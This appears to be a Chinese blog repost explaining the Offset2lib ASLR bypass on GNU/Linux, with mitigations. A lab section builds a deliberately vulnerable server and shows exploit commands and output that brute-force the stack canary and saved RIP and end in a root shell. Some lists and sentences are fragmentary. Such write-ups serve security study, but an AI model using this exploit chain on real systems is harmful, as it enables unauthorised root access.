- A+
然而,当可执行文件被编译成PIE之后,GNU/Linux下的ASLR实现的过程中,会出现一个名为Offset2lib安全漏洞,其专门用于绕过在GNU/Linux下如ASLR之类的对于普通漏洞的常用防护。
fork服务器:并发型服务器。
ROP应用:所谓的Return Orientated Programming,早期也叫ret2libc。
基址:装入一个模块,从某地址开始存放,即此始地址。
Grsecurity/PaX:PaX从一开始就主要关注如何防御和检测memory corruption,后来Grsecurity社区发现PaX和他们所关注的非常类似,所以就合并了。文中的攻击只有它不受影响,但是只有Gentoo和Debian Mempo提供了直接使用Grsecurity/PaX的途径。
ASLR漏洞只适用于GNU/Linux系统,该漏洞不是由于程序代码错误导致,而是因为设计缺陷。幸运的是,在64位系统中它可以被轻松修复。
当某应用由PIE编译时,就会出现这个问题。该可执行文件的镜像被当做共享库,在内存的随机位置出现。加载ASLR对象的GNU/Linux演算法实现如下:
2.对象加载会呈连续状态
因此,内存地址泄露决定于该应用是否有足够的空间去随机化该应用的内存映射。在初始化后没必要泄露地址,只需要程序的进程计数器即可。
offset2lib的值是一个定值,在每个系统可能都不一样,它决定于库版本,以及库加载的顺序。
这种攻击的目标是获得应用代码的地址。接下来的这种攻击,采用了标准的缓冲区溢出漏洞来获取保存在栈里的应用代码的
我们分五步实施了攻击。首先,我们的攻击对目标程序和其执行环境做一个离线分析。被ASLR隐藏的未明信息能通过暴力获得,这多亏了目标的fork服务器结构。一旦我们获得了目标应用的完整地址,应用的基址就能被计算出来。最后一步则是对整个库做内存映射,这将决定于目标GNU/Linux的版本。获得隐藏的未明信息后,利用ROP应用获得远程shell是非常容易的。完整的在线攻击流程或许会更短。
2.暴力获取saved-IP部分
3.计算应用基址
4.计算offset2lib常量
5.获得内存映射区域
0x00007F36C6fEB000
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
我们这里做的这种攻击实验,只是为了展示如何利用ASLRoffset2lib漏洞。可以预见的是,利用这个漏洞的方法是还有很多的。
这里有个实验供您利用offset2lib漏洞,读者可以按步骤跟着尝试:
1.获得libc库里offset2lib值的小程序:
下载地址:
2.漏洞服务器环境:
下载地址:
3.python编写的攻击脚本:
下载地址:
server_64_PIE_SSP.c
Makefile
$ make
rm -f server_64_PIE_SSP
gcc server_64_PIE_SSP.c -o server_64_PIE_SSP -m64 -Wall -fPIE -pie -fstack-protector-all
$ sudo /etc/init.d/apport stop # avoid creating cores on crashes (speed-up)
$ sudo ./server_64_PIE_SSP
Starting server on port [9999]
Makefile.offset2lib
get_offset2lib.c
$ make -f Makefile.offset2lib
$ ./get_offset2lib
-------------------------------------=======---------------------------------------
------------------------------=======================------------------------------
Authors: Hector Marco-Gisbert <[email protected]>
Ismael Ripoll Ripoll <[email protected]>
Comment: Script to obtain the offset2lib value of this machine.
Attack: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
------------------------------=======================------------------------------
-------------------------------------=======---------------------------------------
Offset2lib (libc): 0x5f0000
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function\>$
1149:e8 82 fc ff ff callq dd0 <vulnerable_function>
114e:48 8d 45 c0 lea -0x40(%rbp),%rax
$ sed -i 's/\(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL\).*=.*/\1=0x1/' \
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ sed -i 's/\(OFFSET_SAVED_RIP\).*=.*/\1=0x14e/' \
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py
exploit-server_64_PIE.py -s <server> -p <port>
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py -s localhost -p 9999
[+] Exploit ASLR 64 bit systems
[+] Trying to find out the canary offset
[+] Offset is 56 bytes
[+] Brute forcing stack canary
[+] SSP value is 0x60e0792a523eb900
[+] Brute forcing RBP
[+] EBP value is 0x00007fff0e79d160
[+] Brute forcing Saved RIP
[+] RIP value is 0x00007f44a19b114e
[+] Text Base at 0x00007f44a19b0000
[+] Libc Base at 0x00007f44a13c0000
[+] Getting shell ...
root@test:/home/test # id
id
uid=0(root) gid=0(root) groups=0(root)
root@test:/home/test #
介绍下漏洞的一些解决方案和应用环境。
在众多安全解决方案中,来自GRSecurity社区的PaX补丁,它将可执行文件放置在与其他共享对象相关的随机地址上。
PaX定义了四个变量计算的随机值:
brk:堆
delta_mmap:库,映射文件,线程栈,共享内存
delta_stack:用户栈
Pax解决方案也会提高这些随机值的信息量,即使它能随机化非PIE应用。它是我们至今已知的最先进的ASLR实现方案。然而,某些人觉得它作为补丁来讲太复杂了,比如其存在大量冗余的特征,其中某些会破坏某些应用向后版本的兼容性。
为了避免offset2lib漏洞,可执行文件应该被定位到一个与库文件不同的随机位置。我们为Linux3.18-rc7打上了补丁,由四个不同的随机值实现,因此该可执行处与库文件随机处于不同的位置。
使用PoC能成功利用栈溢出攻击绕过ASLR防护,但是黑客首先需要做的就是绕过SSP。如果SSP保护都没有绕过,这个PoC就废了。
有一项名为
源站视频地址:
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫